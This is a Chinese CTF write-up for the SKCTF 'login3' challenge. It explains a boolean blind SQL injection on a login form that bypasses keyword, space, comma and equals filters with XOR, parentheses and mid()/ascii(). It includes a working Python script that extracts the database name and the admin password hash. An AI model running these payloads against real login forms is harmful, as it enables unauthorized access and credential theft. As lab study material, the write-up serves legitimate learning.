Day41
login3(SKCTF)
http://123.206.31.85:49167/
flag格式:SKCTF{xxxxxxxxxxxxx}
hint:基於布爾的SQL盲注
本題要點:異或運算、布爾盲注、過濾
打開是一個登錄窗口
用bp抓一下包
發送至repeater
沒什么新發現........
隨便試試其他用戶名,看看回顯信息
我們可以發現
當我們隨便輸入一個用戶名“qwe”時, 回顯用戶名不存在,但並沒有對密碼進行檢驗。
當我們輸入用戶名“admin”時,回顯密碼錯誤,則說明 是先查找匹配用戶名,如果存在,再驗證密碼。
試試在用戶名admin后加上單引號
結果還是顯示用戶名不存在,但是並沒有報錯信息...........
那么,我們猜測后台的驗證應該是先查找輸入的用戶名是否存在
語句大體是這樣
select password,username from users where username=”我們輸入的用戶名”
如果我們在where語句的結尾加上一個and連接的布爾判斷語句,就可以根據返回值判斷where條件是否成立,這個語句就可以補成:
where username=’admin’ and (substring(database(),1,1)=’a’)
如果返回值是password error,那么就說明where語句是成立的,那么我們補充的那就也是成立的,那么就可以確定數據庫的第一位是a,然后再猜測第二位。
額....顯示非法字符.......
可能是過濾了and....
繼續測試發現....還過濾了空格,逗號,等號,for
空格用括號代替,等號用<>(一種不等號)代替
查閱大佬們的題解.........
發現大佬使用了異或運算^
先說一下異或運算的基本規則:
1^1=0 1^0=1 0^0=0
即 只有兩個不同的布爾值運算結果為1
先給出腳本
import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" url="http://123.206.31.85:49167/index.php" r=requests.session() def database(): result="" for i in range(30): flag = 0 for j in str_all: payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if "error" in s.text: result+=j print(result) if flag == 0: break def password(): result="" for i in range(40): flag=0 for j in str_all: payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if "error" in s.text: result+=j flag=1 print('**************************',result) if flag==0: break #database() password()
解釋一下payload:
"admin'^(ascii(mid(database()from({})))<>{})^0#"
1.為了繞過空格過濾,用括號隔開,過濾了等號,用不等號 <>代替,只要是布爾值就可以。
2.mid()函數和substring()一樣,一種寫法是mid(xxx,1,1),另一種是mid(xxx,from 1 for 1)但是這里過濾了for和逗號,那么怎么辦呢?
因此,這里用到了ascii()取ascii碼值的函數,如果傳入一個字符串那么就會取第一個字符的字符的ascii碼值,這就有了for的作用,並且mid()函數是可以只寫from的表示從第幾位往后的字符串,我們將取出的字符串在傳入ascii()中取第一位,就完成了對單個字符的提取。
3.每個字符的ascii碼判斷,是否不等於給定的數字,會得到一個布爾值(0或1)再與結尾的0進行運算。
如果數據庫名的第一位的ascii碼值不是97,where條件是username=’admin’^1^0
返回值是username does not exist!
如果數據庫名的第一位的ascii碼值是97,where條件是username=’admin’^0^0
返回值會是password error!
這就構成了布爾報錯注入。
4. 最后^0的妙用! 因為’admin’^0^0和’admin’^1^1是一樣的,我們可以構造后者來看前者成立時的情況。 因為這里即使是語法錯誤也不會報錯,有可能你輸入的語句就不可能成立,但你也無法知道。
腳本運行結果:
拿到密碼~
md5解密一下!
登錄~得到flag
參考資料:
https://www.jianshu.com/p/aa9fabd36de1

